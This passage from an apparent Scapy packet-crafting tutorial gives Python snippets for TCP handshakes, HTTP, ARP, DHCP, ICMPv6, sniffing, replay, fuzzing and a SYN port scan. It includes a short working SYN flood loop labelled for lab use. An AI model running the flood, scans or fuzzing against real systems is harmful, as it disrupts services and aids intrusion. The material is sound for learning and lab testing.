<span class="giallo-l"><span style="color: #8BA4B0;"> send</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">ack</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"3-way handshake established"</span><span style="color: #9E9B93;">)</span></span></code></pre><pre>
Manual HTTP GET Request
-----------------------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span>dst_ip</span><span style="color: #C4B28A;"> =</span><span style="color: #8A9A7B;"> "93.184.216.34"</span><span style="color: #737C73;"> # example.com</span></span>
<span class="giallo-l"><span>host</span><span style="color: #C4B28A;"> =</span><span style="color: #8A9A7B;"> "example.com"</span></span>
<span class="giallo-l"><span>sport</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> RandShort</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># SYN</span></span>
<span class="giallo-l"><span>syn</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">dst_ip</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span><span style="color: #8BA4B0;">TCP</span><span style="color: #9E9B93;">(</span><span>sport</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">sport</span><span style="color: #9E9B93;">,</span><span> dport</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">80</span><span style="color: #9E9B93;">,</span><span> flags</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"S"</span><span style="color: #9E9B93;">,</span><span> seq</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">RandInt</span><span style="color: #9E9B93;">())</span></span>
<span class="giallo-l"><span>synack</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> sr1</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">syn</span><span style="color: #9E9B93;">,</span><span> timeout</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">2</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">if</span><span style="color: #C4B28A;"> not</span><span> synack</span><span style="color: #9E9B93;">:</span><span style="color: #8992A7;font-weight: bold;"> raise</span><span style="color: #8EA4A2;"> SystemExit</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"No SYN/ACK"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># ACK</span></span>
<span class="giallo-l"><span>ack</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">dst_ip</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span><span style="color: #8BA4B0;">TCP</span><span style="color: #9E9B93;">(</span><span>sport</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">sport</span><span style="color: #9E9B93;">,</span><span> dport</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">80</span><span style="color: #9E9B93;">,</span><span> flags</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"A"</span><span style="color: #9E9B93;">,</span></span>
<span class="giallo-l"><span> seq</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">synack</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">ack</span><span style="color: #9E9B93;">,</span><span> ack</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">synack</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">seq</span><span style="color: #C4B28A;">+</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">send</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">ack</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># HTTP GET</span></span>
<span class="giallo-l"><span>payload</span><span style="color: #C4B28A;"> =</span><span style="color: #8992A7;"> f</span><span style="color: #8A9A7B;">"GET / HTTP/1.1</span><span style="color: #949FB5;">\r\n</span><span style="color: #8A9A7B;">Host: </span><span style="color: #B6927B;">{</span><span>host</span><span style="color: #B6927B;">}</span><span style="color: #949FB5;">\r\n</span><span style="color: #8A9A7B;">Connection: close</span><span style="color: #949FB5;">\r\n\r\n</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">encode</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"><span>psh</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">dst_ip</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span><span style="color: #8BA4B0;">TCP</span><span style="color: #9E9B93;">(</span><span>sport</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">sport</span><span style="color: #9E9B93;">,</span><span> dport</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">80</span><span style="color: #9E9B93;">,</span><span> flags</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"PA"</span><span style="color: #9E9B93;">,</span></span>
<span class="giallo-l"><span> seq</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">synack</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">ack</span><span style="color: #9E9B93;">,</span><span> ack</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">synack</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">seq</span><span style="color: #C4B28A;">+</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span><span style="color: #8BA4B0;">Raw</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">payload</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>resp</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> sr1</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">psh</span><span style="color: #9E9B93;">,</span><span> timeout</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">3</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"HTTP Response:"</span><span style="color: #9E9B93;">,</span><span style="color: #8BA4B0;"> resp</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">summary</span><span style="color: #9E9B93;">()</span><span style="color: #8992A7;font-weight: bold;"> if</span><span style="color: #8BA4B0;"> resp</span><span style="color: #8992A7;font-weight: bold;"> else</span><span style="color: #8A9A7B;"> "No response"</span><span style="color: #9E9B93;">)</span></span></code></pre><pre>
ARP Request
-----------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span>arp_req</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> Ether</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"ff:ff:ff:ff:ff:ff"</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span><span style="color: #8BA4B0;">ARP</span><span style="color: #9E9B93;">(</span><span>pdst</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"192.168.0.1"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>ans</span><span style="color: #9E9B93;">,</span><span> _</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> srp</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">arp_req</span><span style="color: #9E9B93;">,</span><span> timeout</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">2</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">for</span><span> _</span><span style="color: #9E9B93;">,</span><span> r</span><span style="color: #8992A7;font-weight: bold;"> in</span><span> ans</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8992A7;">f</span><span style="color: #8A9A7B;">"</span><span style="color: #B6927B;">{</span><span style="color: #8BA4B0;">r</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">psrc</span><span style="color: #B6927B;">}</span><span style="color: #8A9A7B;"> is at </span><span style="color: #B6927B;">{</span><span style="color: #8BA4B0;">r</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">hwsrc</span><span style="color: #B6927B;">}</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">)</span></span></code></pre><pre>
DHCP Discover
-------------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span>mac</span><span style="color: #C4B28A;"> =</span><span style="color: #8992A7;"> b</span><span style="color: #8A9A7B;">"</span><span style="color: #949FB5;">\xaa\xbb\xcc\xdd\xee\xff</span><span style="color: #8A9A7B;">"</span></span>
<span class="giallo-l"><span>discover</span><span style="color: #C4B28A;"> =</span><span style="color: #9E9B93;"> (</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> Ether</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"ff:ff:ff:ff:ff:ff"</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> IP</span><span style="color: #9E9B93;">(</span><span>src</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"0.0.0.0"</span><span style="color: #9E9B93;">,</span><span> dst</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"255.255.255.255"</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> UDP</span><span style="color: #9E9B93;">(</span><span>sport</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">68</span><span style="color: #9E9B93;">,</span><span> dport</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">67</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> BOOTP</span><span style="color: #9E9B93;">(</span><span>chaddr</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">mac</span><span style="color: #9E9B93;">,</span><span> xid</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">RandInt</span><span style="color: #9E9B93;">())</span><span style="color: #C4B28A;">/</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> DHCP</span><span style="color: #9E9B93;">(</span><span>options</span><span style="color: #C4B28A;">=</span><span style="color: #9E9B93;">[(</span><span style="color: #8A9A7B;">"message-type"</span><span style="color: #9E9B93;">,</span><span style="color: #8A9A7B;">"discover"</span><span style="color: #9E9B93;">),</span><span style="color: #8A9A7B;"> "end"</span><span style="color: #9E9B93;">])</span></span>
<span class="giallo-l"><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>ans</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> srp1</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">discover</span><span style="color: #9E9B93;">,</span><span> timeout</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">3</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"DHCP OFFER:"</span><span style="color: #9E9B93;">,</span><span style="color: #8BA4B0;"> ans</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">summary</span><span style="color: #9E9B93;">()</span><span style="color: #8992A7;font-weight: bold;"> if</span><span style="color: #8BA4B0;"> ans</span><span style="color: #8992A7;font-weight: bold;"> else</span><span style="color: #8A9A7B;"> "No offer"</span><span style="color: #9E9B93;">)</span></span></code></pre><pre>
IPv6 Echo Request
-----------------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span>pkt</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> IPv6</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"2001:db8::1"</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;"> /</span><span style="color: #8BA4B0;"> ICMPv6EchoRequest</span><span style="color: #9E9B93;">(</span><span>data</span><span style="color: #C4B28A;">=</span><span style="color: #8992A7;">b</span><span style="color: #8A9A7B;">"hello"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>reply</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> sr1</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">pkt</span><span style="color: #9E9B93;">,</span><span> timeout</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">2</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"ICMPv6 reply:"</span><span style="color: #9E9B93;">,</span><span style="color: #8BA4B0;"> reply</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">summary</span><span style="color: #9E9B93;">()</span><span style="color: #8992A7;font-weight: bold;"> if</span><span style="color: #8BA4B0;"> reply</span><span style="color: #8992A7;font-weight: bold;"> else</span><span style="color: #8A9A7B;"> "No response"</span><span style="color: #9E9B93;">)</span></span></code></pre><pre>
TCP SYN Flood (Testing DoS)
---------------------------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #737C73;"># Warning!</span></span>
<span class="giallo-l"><span style="color: #737C73;"># Only use in lab environments - never on production systems</span></span>
<span class="giallo-l"><span>pkt</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"192.168.0.1"</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;"> /</span><span style="color: #8BA4B0;"> TCP</span><span style="color: #9E9B93;">(</span><span>dport</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">80</span><span style="color: #9E9B93;">,</span><span> flags</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"S"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">send</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">pkt</span><span style="color: #9E9B93;">,</span><span> loop</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">,</span><span> inter</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">0.01</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span></code></pre><pre>
Sniffing and Analyzing
----------------------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span>pkts</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> sniff</span><span style="color: #9E9B93;">(</span><span>count</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">10</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span>pkts</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">nsummary</span><span style="color: #9E9B93;">()</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #737C73;"># Example: HTTP traffic parser</span></span>
<span class="giallo-l"><span style="color: #8992A7;">def</span><span style="color: #8BA4B0;"> http_prn</span><span style="color: #9E9B93;">(</span><span>p</span><span style="color: #9E9B93;">):</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;"> if</span><span> p</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">haslayer</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">Raw</span><span style="color: #9E9B93;">):</span></span>
<span class="giallo-l"><span> data</span><span style="color: #C4B28A;"> =</span><span style="color: #8EA4A2;"> bytes</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">p</span><span style="color: #9E9B93;">[</span><span style="color: #8BA4B0;">Raw</span><span style="color: #9E9B93;">].</span><span style="color: #8BA4B0;">load</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;"> if</span><span style="color: #8992A7;"> b</span><span style="color: #8A9A7B;">"HTTP"</span><span style="color: #C4B28A;"> in</span><span> data</span><span style="color: #C4B28A;"> or</span><span style="color: #8992A7;"> b</span><span style="color: #8A9A7B;">"GET "</span><span style="color: #C4B28A;"> in</span><span> data</span><span style="color: #C4B28A;"> or</span><span style="color: #8992A7;"> b</span><span style="color: #8A9A7B;">"POST "</span><span style="color: #C4B28A;"> in</span><span> data</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">data</span><span style="color: #9E9B93;">[:</span><span style="color: #A292A3;">120</span><span style="color: #9E9B93;">],</span><span style="color: #8992A7;"> b</span><span style="color: #8A9A7B;">"..."</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8BA4B0;">sniff</span><span style="color: #9E9B93;">(</span><span>filter</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"tcp port 80"</span><span style="color: #9E9B93;">,</span><span> prn</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">http_prn</span><span style="color: #9E9B93;">,</span><span> store</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">0</span><span style="color: #9E9B93;">)</span></span></code></pre><pre>
Replay Saved Packets
--------------------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span>trace</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> rdpcap</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"sample.pcap"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">sendp</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">trace</span><span style="color: #9E9B93;">,</span><span> iface</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">conf</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">iface</span><span style="color: #9E9B93;">,</span><span> inter</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">0</span><span style="color: #9E9B93;">)</span></span></code></pre><pre>
Fuzzing
-------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span>fp</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> fuzz</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"192.168.0.1"</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span><span style="color: #8BA4B0;">TCP</span><span style="color: #9E9B93;">(</span><span>dport</span><span style="color: #C4B28A;">=</span><span style="color: #9E9B93;">[</span><span style="color: #A292A3;">22</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;">80</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;">443</span><span style="color: #9E9B93;">]))</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;">send</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">fp</span><span style="color: #9E9B93;">,</span><span> count</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">50</span><span style="color: #9E9B93;">,</span><span> inter</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">0.01</span><span style="color: #9E9B93;">)</span></span></code></pre><pre>
Ready-to-Use Script
-------------------
</pre>
<pre class="giallo" style="color: #C5C9C5; background-color: #181616;"><code data-lang="python"><span class="giallo-l"><span style="color: #737C73;">#!/usr/bin/env python3</span></span>
<span class="giallo-l"><span style="color: #B6927B;">from</span><span> scapy</span><span style="color: #9E9B93;">.</span><span>all</span><span style="color: #B6927B;"> import</span><span style="color: #C4B28A;"> *</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8992A7;">def</span><span style="color: #8BA4B0;"> ping</span><span style="color: #9E9B93;">(</span><span>host</span><span style="color: #9E9B93;">):</span></span>
<span class="giallo-l"><span> r</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> sr1</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">host</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span><span style="color: #8BA4B0;">ICMP</span><span style="color: #9E9B93;">(),</span><span> timeout</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">,</span><span> verbose</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">0</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;"> return</span><span style="color: #8EA4A2;"> bool</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">r</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8992A7;">def</span><span style="color: #8BA4B0;"> dns_a</span><span style="color: #9E9B93;">(</span><span>name</span><span style="color: #9E9B93;">,</span><span> resolver</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"8.8.8.8"</span><span style="color: #9E9B93;">):</span></span>
<span class="giallo-l"><span> r</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> sr1</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">resolver</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span><span style="color: #8BA4B0;">UDP</span><span style="color: #9E9B93;">(</span><span>dport</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">53</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span><span style="color: #8BA4B0;">DNS</span><span style="color: #9E9B93;">(</span><span>rd</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">,</span><span> qd</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">DNSQR</span><span style="color: #9E9B93;">(</span><span>qname</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">name</span><span style="color: #9E9B93;">)),</span><span> timeout</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">1</span><span style="color: #9E9B93;">,</span><span> verbose</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">0</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;"> return</span><span style="color: #9E9B93;"> [</span><span>r</span><span style="color: #9E9B93;">[</span><span>DNS</span><span style="color: #9E9B93;">].</span><span>an</span><span style="color: #9E9B93;">[</span><span>i</span><span style="color: #9E9B93;">].</span><span>rdata</span><span style="color: #8992A7;font-weight: bold;"> for</span><span> i</span><span style="color: #8992A7;font-weight: bold;"> in</span><span style="color: #8BA4B0;"> range</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">r</span><span style="color: #9E9B93;">[</span><span style="color: #8BA4B0;">DNS</span><span style="color: #9E9B93;">].</span><span style="color: #8BA4B0;">ancount</span><span style="color: #9E9B93;">)]</span><span style="color: #8992A7;font-weight: bold;"> if</span><span> r</span><span style="color: #C4B28A;"> and</span><span> r</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">haslayer</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">DNS</span><span style="color: #9E9B93;">)</span><span style="color: #8992A7;font-weight: bold;"> else</span><span style="color: #9E9B93;"> []</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8992A7;">def</span><span style="color: #8BA4B0;"> syn_scan</span><span style="color: #9E9B93;">(</span><span>host</span><span style="color: #9E9B93;">,</span><span> ports</span><span style="color: #9E9B93;">):</span></span>
<span class="giallo-l"><span> results</span><span style="color: #C4B28A;"> =</span><span style="color: #9E9B93;"> {}</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;"> for</span><span> p</span><span style="color: #8992A7;font-weight: bold;"> in</span><span> ports</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span> ans</span><span style="color: #C4B28A;"> =</span><span style="color: #8BA4B0;"> sr1</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">IP</span><span style="color: #9E9B93;">(</span><span>dst</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">host</span><span style="color: #9E9B93;">)</span><span style="color: #C4B28A;">/</span><span style="color: #8BA4B0;">TCP</span><span style="color: #9E9B93;">(</span><span>dport</span><span style="color: #C4B28A;">=</span><span style="color: #8BA4B0;">p</span><span style="color: #9E9B93;">,</span><span> flags</span><span style="color: #C4B28A;">=</span><span style="color: #8A9A7B;">"S"</span><span style="color: #9E9B93;">),</span><span> timeout</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">0.7</span><span style="color: #9E9B93;">,</span><span> verbose</span><span style="color: #C4B28A;">=</span><span style="color: #A292A3;">0</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;"> if</span><span> ans</span><span style="color: #C4B28A;"> and</span><span> ans</span><span style="color: #9E9B93;">.</span><span style="color: #8BA4B0;">haslayer</span><span style="color: #9E9B93;">(</span><span style="color: #8BA4B0;">TCP</span><span style="color: #9E9B93;">):</span></span>
<span class="giallo-l"><span> fl</span><span style="color: #C4B28A;"> =</span><span> ans</span><span style="color: #9E9B93;">[</span><span>TCP</span><span style="color: #9E9B93;">].</span><span>flags</span></span>
<span class="giallo-l"><span> results</span><span style="color: #9E9B93;">[</span><span>p</span><span style="color: #9E9B93;">]</span><span style="color: #C4B28A;"> =</span><span style="color: #8A9A7B;"> "open"</span><span style="color: #8992A7;font-weight: bold;"> if</span><span> fl</span><span style="color: #C4B28A;"> &</span><span style="color: #8992A7;"> 0x</span><span style="color: #A292A3;">12</span><span style="color: #8992A7;font-weight: bold;"> else</span><span style="color: #9E9B93;"> (</span><span style="color: #8A9A7B;">"closed"</span><span style="color: #8992A7;font-weight: bold;"> if</span><span> fl</span><span style="color: #C4B28A;"> &</span><span style="color: #8992A7;"> 0x</span><span style="color: #A292A3;">14</span><span style="color: #8992A7;font-weight: bold;"> else</span><span style="color: #8992A7;"> f</span><span style="color: #8A9A7B;">"flags=</span><span style="color: #B6927B;">{</span><span>fl</span><span style="color: #B6927B;">}</span><span style="color: #8A9A7B;">"</span><span style="color: #9E9B93;">)</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;"> else</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span> results</span><span style="color: #9E9B93;">[</span><span>p</span><span style="color: #9E9B93;">]</span><span style="color: #C4B28A;"> =</span><span style="color: #8A9A7B;"> "filtered/none"</span></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;"> return</span><span> results</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #8992A7;font-weight: bold;">if</span><span> __name__</span><span style="color: #C4B28A;"> ==</span><span style="color: #8A9A7B;"> "__main__"</span><span style="color: #9E9B93;">:</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"Ping 1.1.1.1:"</span><span style="color: #9E9B93;">,</span><span style="color: #8BA4B0;"> ping</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"1.1.1.1"</span><span style="color: #9E9B93;">))</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"DNS A example.com:"</span><span style="color: #9E9B93;">,</span><span style="color: #8BA4B0;"> dns_a</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"example.com"</span><span style="color: #9E9B93;">))</span></span>
<span class="giallo-l"><span style="color: #8BA4B0;"> print</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"SYN scan:"</span><span style="color: #9E9B93;">,</span><span style="color: #8BA4B0;"> syn_scan</span><span style="color: #9E9B93;">(</span><span style="color: #8A9A7B;">"192.168.0.1"</span><span style="color: #9E9B93;">, [</span><span style="color: #A292A3;">22</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;">80</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;">443</span><span style="color: #9E9B93;">,</span><span style="color: #A292A3;">3389</span><span style="color: #9E9B93;">]))</span></span></code></pre><h2 id="common-pitfalls">Common Pitfalls</h2>
<ul>
<li><strong>Root privileges</strong>: raw sockets require administrator rights.</li>
<li><strong>Interface binding</strong>: specify <code>conf.iface</code> on multi-NIC hosts.</li>
<li><strong>Checksums and lengths</strong>: Scapy recalculates them automatically.</li>
<li><strong>TCP correctness</strong>: real HTTP requires valid seq/ack handling.</li>
<li><strong>Filters</strong>: BPF filters apply to sniffing only, not sending.</li>
